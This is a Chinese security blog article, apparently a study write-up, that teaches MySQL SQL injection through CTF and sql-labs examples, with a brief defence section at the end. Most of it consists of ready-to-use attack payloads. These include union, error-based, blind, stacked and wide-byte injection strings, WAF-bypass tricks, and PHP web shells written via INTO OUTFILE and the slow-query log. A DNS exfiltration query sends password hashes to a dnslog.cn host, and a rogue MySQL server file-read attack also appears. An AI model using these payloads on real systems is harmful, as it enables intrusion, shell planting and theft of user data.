详细|通过mysql学习sql注入

admin 2023年6月7日01:23:32评论19 views字数 16962阅读56分32秒阅读模式

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文

写在前面

本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。点我了解详情

详细|通过mysql学习sql注入

产生原因

服务器将用户提交的参数错误地拼接到sql语句中打破了数据区域的边界(数字型不需要)改变了原有的sql执行逻辑,导致攻击者可以执行恶意的sql语句。

简单的例子

假设

$sql="select * from users where id='$id';"

用户提交

?id=1' and 1=1 #

拼接后的sql语句

select * from users where id='1' and 1=1 #'

要进行注入,只需要将and 1=1部分替换为其他sql语句即可。

其实分析sqlmap的注入也是如此,注入语句由prefixpayloadsuffix组成

图来源https://www.freebuf.com/column/161797.html

详细|通过mysql学习sql注入
image-20230522131723064

漏洞危害--攻击面

  • • 拿到敏感信息,如手机号,身份证,邮箱,家庭地址等

  • • 后台账号万能密码?这年头还有吗🤔
    拿到密码,但是一般密码都是加盐再加密的了吧,需要彩虹表啥的。
    或者堆叠注入创建一个,修改一个等                       

  • • 文件任意读取

  • • Getshell

  • • RCE

  • • 提权

如何利用

信息收集

详细|通过mysql学习sql注入
image-20230522131900429

站库分离

为什么

站库分离,所以不能通过数据库进行读写

判断方法

  • • 通用方法读取配置文件,判断IP

  • • Mysqlselect @@hostname; //服务端主机名称 select * from information_schema.PROCESSLIST; //客户端主机名称和端口

    Windows连接格式:主机名:PortLinux连接格式:IP:Port本地连接格式:localhost:Port

    详细|通过mysql学习sql注入
    image-20230522203905326

    select user();

    如果不是localhost,大概率是站库分离。

    详细|通过mysql学习sql注入
    image-20230522204233420

数据库类型

详细|通过mysql学习sql注入

各种信息

# ifnull(@@secure_file_priv,0) secure_file_priv为空时返回0,不为空时返回其值
SELECT concat_ws(0x0a,
ifnull(@@secure_file_priv,0),
concat_ws(0xefbc8c, @@version, @@version_compile_os, @@version_compile_machine, @@version_comment),
concat_ws(0xefbc8c, @@hostname, @@port),
concat_ws(0xefbc8c, user(), database()),
concat_ws(0xefbc8c, @@datadir, @@plugin_dir, @@tmpdir, @@basedir)
)


# 结果
0
10.5.8-MariaDB-3,debian-linux-gnu,x86_64,Debian buildd-unstable
kali,3306
root@localhost
/var/lib/mysql/,/usr/lib/mysql/plugin/,/tmp,/usr

判断

注入点

一切与数据库有交互的地方,取决于后端从HTTP请求报文中提取了什么数据并拼接到sql语句中。

是否存在sql注入

  • • 字符型or数字型:fuzz闭合类型

  • • 是否有报错,是否能逃逸执行sql语句(逻辑,延时等判断)

后端语句

# 得到后端执行的sql语句
select * from test.users where id=1 union SELECT (select INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE INFO LIKE '%673245283%' LIMIT
 1),2,3;
详细|通过mysql学习sql注入
image-20230528210843123

Mysql注入手段

admin登入

  • • 万能密码# 后端代码Demo
    $query = "SELECT * FROM manage WHERE user='$user' and passwd='$passwd'";
    if(mysql_query($query))
    {
        echo "登陆成功";
    }
    通过布尔运算让where恒为真

    详细|通过mysql学习sql注入
    image-20230312212035948
  • • 注册覆盖

    admin (有个空格)或者 (有个空格)admin原理:用户名字段长度>5,所以可以添加空格,而sql语句执行时会将空格忽略。

    详细|通过mysql学习sql注入
    image-20230312210909402
  • • 联合查询构造临时用户[GXYCTF2019]BabySQli# 后端代码Demo
    $query = "SELECT * FROM manage WHERE user='$user'";
    $result = mysql_query($queryor die('SQL语句有误:'.mysql_error());
    $users = mysql_fetch_array($result);

    if (!mysql_num_rows($result)) {  
        echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
        exit;
    }
    else{
        $passwords=$users['password'];
        if(md5($password)<>$passwords){
        echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
        exit
    }
    echo "登陆成功";
    username=admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' limit 1,2--+

    passwd=c4ca4238a0b923820dcc509a6f75849b

    MD5(1)=c4ca4238a0b923820dcc509a6f75849b

    详细|通过mysql学习sql注入
    image-20230312215147770

联合查询注入

原理

sql语句为select,页面有回显查询结果。

$sql="SELECT * FROM users where id=$id ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo 'Your Login name:'$row['username'];
echo 'Your Password:' .$row['password'];

payload

先通过order by等语句判断列数,再判断哪一列是输出点,最后进行注入

联合查询,获取库名
?id=-1"union select 1,2,group_concat(schema_name),3 from information_schema.schemata#

联合查询,获取表名 
?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'#

?id=-1"union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='已知库名'#


联合查询,获取字段名
?id=-1"union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'#


联合查询,获取字段值
?id=-1"union select 1,2,group_concat(字段1,字段2...) from 已知表名#

注意:

因为后端查询语句可能只拿第一行查询结果如$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";,所以需要构造一个不存在的值如-1,使得联合查询的结果成为第一行;

要查的表的名称(这个表是不是在现在使用的数据库中,没有的话表名=数据库.表名)

堆叠注入

原理

后端使用的查询函数为mysqli_multi_query() ,支持多条语句查询

而不是mysqli_query() ,仅支持一条语句查询

局限性

  • • 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎的影响

  • • 无回显:在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略解决方法:可以通过先将内容插入到数据库中,然后再通过查询查出来

payload

?id=1';sql语句;--+

可以任意执行sql语句,危害很大

配合handle绕过关键字

handler 表名  open ; handler 表名 read first; #打开表;读取第一条数据
handler 表名 read next;#与上一条语句一起用,读取下一条即第二条数据

【MySQL】MySQL 之 handler 的详细使用及说明[1]

配合预编译语句绕过

使用格式

set @tn = 'hahaha';  //存储表名
set @sql = concat('select * from ', @tn);  //存储SQL语句

prepare query from @sql;   //预定义SQL语句

execute query;  //执行预定义SQL语句

(DEALLOCATE || DROP) prepare sqla;  //删除预定义SQL语句

例题

[SUCTF 2018]MultiSQL

set @sql=select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php';prepare name from @sql;execute name;

转换脚本

a = "select '<?php eval($_POST[khaz]);?>' into outfile '/var/www/html/favicon/shell3.php'"
b = []
for i in a:
    b.append(str(ord(i)))
c=','.join(b)
res = 'char({})'.format(c)
print(res)

payload

set @sql=char(117,112,100,97,116,101,32,115,99,111,114,101,32,115,101,116,32,108,105,115,116,101,110,61,50,48,48);prepare query from @sql;execute query;

报错注入

原理

使用mysql_error()函数,可以返回上一个Mysql操作产生的文本错误信息。

<?php
$con = mysql_connect("localhost","wrong_user","wrong_pwd");
if (!$con)
{
  die(mysql_error());
}
>>
Access denied for user 'wrong_user'@'localhost'
(using password: YES)

类型

最常用的

# Xpat语法错误,报错信息是有长度限制的,最大长度限制32位,配合substr()等截取字符串函数使用
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
详细|通过mysql学习sql注入
image-20230523184243091

其他MySQL报错注入 [2]

payload

原型:
?id=1"or(updatexml(1,concat(0x7e,(),0x7e),1))--+

爆库:
?id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(schema_name),1,32))from (information_schema.schemata)),0x7e),1))--+

 
爆表:
id=1"or(updatexml(1,concat(0x7e,(select(substr(group_concat(table_name),1,32))from (information_schema.tables)where(table_schema='已知库名')),0x7e),1))--+



爆列名:
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(column_name),1,32)))from(information_schema.columns)where(table_name='flag'))),1))--+


爆字段值
id=1"or(updatexml(1,concat(0x7e,(select( substr(group_concat(real_flag_1s_here),1,6)))from(users))),1))--+

二次注入--存储型注入

原理

详细|通过mysql学习sql注入
ctf1

常见转义函数

addslashes()
mysql_escape_string()

sql-labs Less-24为例

创建用户

$username=  mysql_escape_string($_POST['username']) ;
$passmysql_escape_string($_POST['password']);
$re_passmysql_escape_string($_POST['re_password']);

$sql = "insert into users ( username, password) values("$username", "$pass")";

使用不恰当的函数mysql_escape_string,功能为在 MySQL 中具有特殊含义的字符(如单引号、双引号、反斜杠和空字节)前添加反斜杠字符。所以脏数据还是进入到了数据库中。

修改密码处

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

直接将脏数据取出并拼接到sql语句中,造成了sql注入。

常见场景

将保存的脏数据从数据库中取出,再次进行sql操作的场景。

修改密码
修改订单
总之就是修改已保存信息的地方

例题

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

$address = addslashes($_POST["address"]);#可控变量

$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";#将$_POST["address"]保存到数据库中

$row = $fetch->fetch_assoc();#$row保存sql语句查询结果

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];#调用了查询结果

分析上面两条语句,对可控参数address只进行了转义处理,就保存到数据库中。

并且在update中引用了$row['address'],所以在这里存在二次注入。

可以看到列名为old_address,在进行修改时,会将旧地址保存下来,所以我们只要在第一次修改时,在address处注入恶意代码,第二次修改查询旧地址时就会执行恶意代码。

payload

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# 

盲注--无回显注入

推荐阅读:https://www.anquanke.com/post/id/266244

布尔盲注

页面无数据回显,但是有两种返回状态

?id=1' and 1=1 --+  # True
?id=1' and 1=2 --+  # False

实际

?id=1' and 1=子查询 --+  

子查询=字符串截取+比较

绕过

and 1=

逻辑连接符 payload
or ,||
异或 xor,^
按位与/或 &,|

字符串截取

# 从start位置开始,截取len个字符
substr(string,start,len)
mid(string,start,len)

# 从左/右截取len个字符
left(string,len)
right(string,len)

比较

like binary 0x25{}{}25
详细|通过mysql学习sql注入
image-20230505230426015

因为大小写不敏感,所以要用binary

BINARY将16进制转化为字符串

语法

like 正则
_ .
% .*
[] []
[^] [^]
regexp "^a"
regexp "^ab"

时间盲注

时间盲注就是在布尔盲注上加了延迟时间函数sleep(),用在True和False回显难以区分时,通过页面的响应时间来判断布尔逻辑的正确与否。

payload

if(布尔,A,B)与三目运算符逻辑一样,加上sleep函数

sleep(if(布尔,A,B))布尔正确,延迟A秒,布尔错误,延迟B秒

或者 if(布尔,1,sleep(x))布尔正确,无延迟,布尔错误,延迟x秒
详细|通过mysql学习sql注入
image-20230312232840696

绕过

能造成延时效果的语句

# 通过执行多次命令形成延时
benchmark(执行次数,sql语句)

# 查询一些数据量比较大的表做笛卡尔集运算,导致查询缓慢
select * from tab1 cross join tab2;
select * from tab1,tab2;

脚本

盲注都是需要脚本的,或者用sqlmap

DNS外带注入

推荐阅读:Dnslog在SQL注入中的实战-安全客 - 安全资讯平台[3]

原理

  1. 1. MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;

  2. 2. windows下存在UNC路径

    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。

    \xxxxxx

    详细|通过mysql学习sql注入
    image-20230425175525555
    详细|通过mysql学习sql注入
    image-20230425175452805

使用条件

  • • windows系统

  • • secure_file_priv为空

payload

union select 1,2,load_file(CONCAT('\\',(SELECT hex(passwd) FROM users WHERE username='admin' LIMIT 1),'.mysql.2fzz61.dnslog.cn\abc'))

-- Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入
-- \\转义  →  \

SMB外带注入

http://www.moonslow.com/article/smb_sql_injection

宽字节注入

原理

From:https://cloud.tencent.com/developer/article/1938545

宽字节:如果一个字符的大小是两个字节的,该字符称为宽字节字符

PHPMysql之间的交互

详细|通过mysql学习sql注入
img

将php的sql语句以character_set_client编码(也就是转为16进制数),再将16进制数以character_set_connection进行编码(也就是转换为url编码),然后以内部操作字符集进行url解码,最后以character_set_results编码输出结果。

%df%27 浏览器url自动解码===> β' 转义===>β'转为16进制===> 0xdf0x5c0x27 转换为url编码===> %df%5c%27 进行url解码(因为是GBK编码,%df和%5c结合为汉字)===> 運'

例题

sql-lab less-32

转义字符

详细|通过mysql学习sql注入
image-20230522170722857

设置编码集

详细|通过mysql学习sql注入
image-20230522170750335

sql语句,单引号闭合

详细|通过mysql学习sql注入
image-20230522171701503
?id=1%27
详细|通过mysql学习sql注入
image-20230522171728569
?id=1%df%27
详细|通过mysql学习sql注入
image-20230522171841053

payload

?id=1%df'

使用 Linux 自带的 iconv 命令进行 UTF 的编码转换

echo '|iconv -f utf-8 -t utf-16
echo '|iconv -f utf-8 -t utf-32
详细|通过mysql学习sql注入
image-20230523121013028
?id=1�'
详细|通过mysql学习sql注入
image-20230523121159948

order by 注入

https://www.cnblogs.com/1ink/p/15107674.html

Getshell

写文件

条件

  • • 高权限select user, file_priv from mysql.user; 

    详细|通过mysql学习sql注入
    image-20230528210141344
  • • 知道网站的绝对路径

  • • secure_fil_privselect @@secure_file_priv;
    show global variables like '%secure_file_priv%'; # show语句要堆叠注入和回显

详细|通过mysql学习sql注入
image-20230522174929267

payload

基于联合查询

select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:info.php';

select *from users where id=1 union select 1,'<?php phpinfo();?>',3 into  dumpfile 'C:info2.php';

outfiledumpfile的区别

  • • outfile导出数据支持多行,dumpfile只支持一行

  • • outfile会对数据进行转义,dumpfile不会

所以使用into dumpfile这个函数来写入二进制文件

详细|通过mysql学习sql注入
image-20230522180009679

非联合查询

select *from users where id=1 into outfile 'C:info.php' fields terminated by '<?php phpinfo();?>';

select *from users where id=1 into outfile 'C:info2.php' lines terminated by '<?php phpinfo();?>';
详细|通过mysql学习sql注入
image-20230522180543767

写入日志文件

# --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';

set global general_log = on;

set global general_log_file = 'e:info.php'; # 这里日志创建权限要低一些,不能在c盘创建

select '<?php phpinfo();?>';

--结束后,痕迹清理

日志慢查询

From:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

为什么要用慢查询写呢?因为开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

show variables like '%slow_query_log%';  --查看慢查询信息
set global slow_query_log=1;    --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\phpStudy\WWW\shell.php'; --修改日志文件路径

show global variables like '%long_query_time%';
--查看默认时间值,当sql语句执行时间超过该值才会被计入日志中,默认10秒

select '<?php @eval($_POST[abc]);?>' or sleep(@@long_query_time+1); --写shell到慢查询日志
详细|通过mysql学习sql注入
image-20230522182142555

sqlmap --os-shell

  • • 大致流程获取目标信息→使用lines terminated by将具有文件上传的🐎上传到网站→逐级目录访问找到🐎

    →通过该🐎上传真正的命令🐎→测试命令🐎能否执行→删除上传的两个🐎

  • • 文件上传🐎:form表单

  • • php命令马:获得disable_function,遍历所有代码执行,命令执行函数,判断哪一个不在disable_function

读文件

LOAD DATA LOCAL---任意读取

脚本

https://github.com/allyshka/Rogue-MySql-Server

原理和攻击思路

CSS-T | Mysql Client 任意文件读取攻击链拓展[4]

文件读取Phar文件,造成php反序列化

条件

  • • 客户端必须启用LOCAL-INFILE 连接时参数--local-infile=OFF 可以修复,或者更改全局变量local_infile(我在5.7下参数可以,更改全局变量不行??)

  • • 客户端支持非SSL连接连接时参数--ssl-mode=VERIFY_IDENTITY 可以修复

  • • 目标web存在连接数据库的功能数据库弱口令扫描,连接检查
    网站重装漏洞(需要连接数据库)
    数据迁移服务
    Excle从数据库中同步数据到表格内

实验环境

客户端与服务端的mysql都是5.7版本

mysql5.7默认开启

详细|通过mysql学习sql注入
image-20230523163445312

注:一开始使用服务端使用8版本不行

攻击者(服务端)起脚本

详细|通过mysql学习sql注入
image-20230523162503899
详细|通过mysql学习sql注入
image-20230523162623757

受害者连接

详细|通过mysql学习sql注入
image-20230523162534773

攻击者查看mysql.log

详细|通过mysql学习sql注入
image-20230523162727437

load_file

注意:转义字符

select load_file('e:test.txt'); # t 错误路径
select load_file('e:\test.txt');# 正确
select load_file(0x653A5C746573742E747874);# 支持十六进制
select load_file(char(101,58,92,116,101,115,116,46,116,120,116));# 支持char函数
详细|通过mysql学习sql注入
image-20230523134023401

load data

create table user(cmd text)
load data infile 'e:/test.txt' into table user;
select * from user;
详细|通过mysql学习sql注入
image-20230523134532606
详细|通过mysql学习sql注入
image-20230522220456619

mysqldump

shell下执行

mysqldump -uroot -proot --all-databases > file_path  # 导出所有数据库
mysqldump -uroot -proot --databases db1 --tables a1 a2  > /file_path # 导出db1中的a1、a2表

导出的文本内容

创建数据库判断语句-删除表-创建表-锁表-禁用索引-插入数据-启用索引-解锁表
详细|通过mysql学习sql注入
image-20230528204837541

例题

CISCN2023初赛--dumpit

关键代码

$black = ';`*#^$&|';  #黑名单

$db=$_GET['db'];
$t2d=$_GET['table_2_dump'];
$randstr = md5(time());

$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);

db和table都可控,过滤不严谨,并且直接拼接到命令中,造成RCE

payload

?db=ctf&table_2_dump=flag2 %0d%0a cmd

提权

国光师傅✍的太好辣,等到后面学习windows提权再复现吧😋

https://www.sqlsec.com/2020/11/mysql.html

Linux的Mysql--好像没用

help查看mysql帮助

详细|通过mysql学习sql注入
image-20230522205545396

假想:如果存在堆叠注入,就可以以当前数据库用户权限任意命令执行

详细|通过mysql学习sql注入
image-20230522205812501

测试了一下好像不行

详细|通过mysql学习sql注入
image-20230522223047561

并且此方法只能在本地读取,远程连接mysql时使用system,实际上还是在原来的主机上执行命令。

kali连接远程mysql,system uname -a

详细|通过mysql学习sql注入
image-20230522210207967

Mysql绕过补充

通用绕过

  • • 大小写绕过修复:正则/i

  • • 双写绕过(waf将关键字替换为空,且次数为1)uniunionon修复:正则/m

注释符绕过

# 手动闭合
$sql="select * from users where id='$id';"

$id=1' and '1'='2

select * from users where id='1' and '1'='2';

空格绕过

  • • %0a

  • • %0d%0a

  • • /**/

  • • 括号绕过

    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    详细|通过mysql学习sql注入
    image-20230522161003063

引号绕过

不让用单引号

可以用十六进制代替

where(table_name='users') → where(table_name=0x7573657273)
详细|通过mysql学习sql注入
image-20230522163358530

转义了单引号

宽字节注入,二次注入

字符串连接函数

concat("str1", "," ,"str2")

concat_ws("," , "str1" , "str2")

group_concat("str1", "," ,"str2")

select绕过

  • • 已知表名可以用handle

  • • 版本>=8.0mysql 8.0.21以上版本的新特性[5]

  • • 在对当前表的列名注入时,可以直接写字段名,而无需select 该字段 from 该表

    详细|通过mysql学习sql注入
    image-20230522161753632

逗号绕过

substr(databse(),1,1) 等价于 substr(databse() from 1 for 1)
select 1,2,3; 等价于 select * from (select 1)a join (select 2)b join (select 3)c;
详细|通过mysql学习sql注入
image-20220718092241142

内联注释

# 如果加了!就会执行在/* */内的语句
/*!union select 1,2*/

# 要将整个语句写入/* */内
/*!union select */1,2 这是错误的


#  version 5.7.26
/*!00000 select 1,2*/;  可以
/*!50726 select 1,2*/;  可以
/*!50727 select 1,2*/;  不可以

00000 到 50726之间是可以的

无列名注入

场景

information_schem被过滤,不知道表的字段名

解决方法

通过select 数字将字段名设置为数字

详细|通过mysql学习sql注入
image-20230523141619236

再用联合查询将需要的数据存到上图的表中

详细|通过mysql学习sql注入
image-20230523141701416

那么想要查询users表中的username字段的值

select `2` from (select 1,2,3 union select * from user)别名;

# 别名是(select 1,2 union select * from user)返回的表的别名
详细|通过mysql学习sql注入
image-20230523141936080
# 如果反引号被过滤
select group_concat(b) from (select 1,2 as b,3 union select * from users)a;
详细|通过mysql学习sql注入
image-20230523142119240

预编译问题

推荐阅读:

奇安信攻防社区-SQL注入&预编译[6]

PDO场景下的SQL注入探究 - 先知社区[7]

预编译失效

PHP-PDO采用本地预处理

详细|通过mysql学习sql注入
image-20230330172825283

传入?username='admin',查看日志如下

开启永久日志,在配置文件中加入

general_log = 1 general_log_file = 日志路径

详细|通过mysql学习sql注入
image-20230330172741664

可以看到预编译为其自动添加了一对引号,并将用户输入的引号进行转义。

那么如果将表名,order by xx处进行预编译就会产生如下效果

详细|通过mysql学习sql注入
image-20230330001720031
详细|通过mysql学习sql注入
image-20230330001733787

可以看到这些语句"失效了"(没有得到想要的结果),所以在实际开发中,对于这些语句大概率就是进行一个拼接处理,就很可能存在sql注入。

预编译使用错误

  • • ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌[8]

  • • 堆叠注入$id$_GET['id'];
    # 预处理语句
    $stmt = $conn->prepare("select * from users where id=$id");
    $stmt->execute();
    $fraction = $stmt->fetch();
    print_r($fraction);
    使用模拟预编译,并且没有绑定参数又因为PDO默认可以支持多条SQL执行,所有造成了堆叠注入。

  ?id=1;create database pdo;
详细|通过mysql学习sql注入
image-20230523131701820

sqlmap

sqlmap 源码分析

详细|通过mysql学习sql注入
img
  • • sqlmap 项目剖析1[9]

  • • sqlmap 项目剖析2[10]

  • • sqlmap 项目剖析3[11]sqlmap 使用一种极其巧妙的方式组合生成一个完整的 payload,一个完整的 payload 由如下几个部分组成:<prefix> <test> <comment> <suffix>其中 prefix、comment、suffix 作为 boundary,boundary 用于闭合注入点的前后部分;test 则是最终如果闭合成功后必然执行的语句。因此 sqlmap 将 prefix 与 suffix 单独作为 boundaries 保存,而 test 和 comment 则根据注入方式和数据库的不同被划分为六个文件(路径:/data/xml/payloads

    详细|通过mysql学习sql注入
    img
  • • sqlmap 项目剖析4[12]布尔注入先发送一个 false 请求,如果结果与原页面相同就判断不存在布尔注入
    如果不相同发送一个 true 请求,如果与原页面相似
    则再发送一个 false 请求,然后把这两次返回的结果取差集,计算出True时的flag标识,也就是sqlmap的-string参数
    报错注入发送报错payload,如果能够正则匹配到则说明存在报错注入。延时注入先发送N个正常请求,然后计算这N个请求响应时间的标准差和正常请求的最长响应时间
    然后发送一个延时请求,判断是否在区间内
    联合查询注入用order by和二分法来判断列数
    遍历列数判断哪一列是回显点
    发送payload

  • • sqlmap源码分析与学习[13]

  • • sqlmap 流程脑图[14]

os-shell 原理

攻防

防御方法

  • • 正确使用预编译+黑名单

  • • 配置问题站库分离
    不允许外连
    数据库以低权限运行
    不显示报错
    不使用多语句查询
    secure_file_priv=NULL
    字符集保持一致

引用链接

[1] 【MySQL】MySQL 之 handler 的详细使用及说明: https://blog.csdn.net/qq_43427482/article/details/109898934
[2] MySQL报错注入 : https://hatboy.github.io/2018/08/28/MySQL报错注入/
[3] Dnslog在SQL注入中的实战-安全客 - 安全资讯平台: https://www.anquanke.com/post/id/98096
[4] CSS-T | Mysql Client 任意文件读取攻击链拓展: https://paper.seebug.org/1112/
[5] mysql 8.0.21以上版本的新特性: https://blog.csdn.net/rfrder/article/details/118726022
[6] 奇安信攻防社区-SQL注入&预编译: https://forum.butian.net/share/1559
[7] PDO场景下的SQL注入探究 - 先知社区: https://xz.aliyun.com/t/3950
[8] ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌: https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
[9] sqlmap 项目剖析1: https://www.anquanke.com/post/id/262848
[10] sqlmap 项目剖析2: https://www.anquanke.com/post/id/262847
[11] sqlmap 项目剖析3: https://www.anquanke.com/post/id/262849
[12] sqlmap 项目剖析4: https://www.anquanke.com/post/id/262850
[13] sqlmap源码分析与学习: https://www.beysec.com/security/sqlmap-source-1.html
[14] sqlmap 流程脑图: https://www.processon.com/view/5835511ce4b0620292bd7285
[15] sqlmap --os-shell原理: https://xz.aliyun.com/t/7942
[16] 实战sqlmap绕过WAF: https://xz.aliyun.com/t/10385
[17] sqlmap --os-shell反制小思路: https://www.anquanke.com/post/id/261915

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

详细|通过mysql学习sql注入

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

详细|通过mysql学习sql注入

详细|通过mysql学习sql注入

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档


点个【 在看 】,你最好看

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月7日01:23:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  详细|通过mysql学习sql注入 https://cn-sec.com/archives/1785484.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: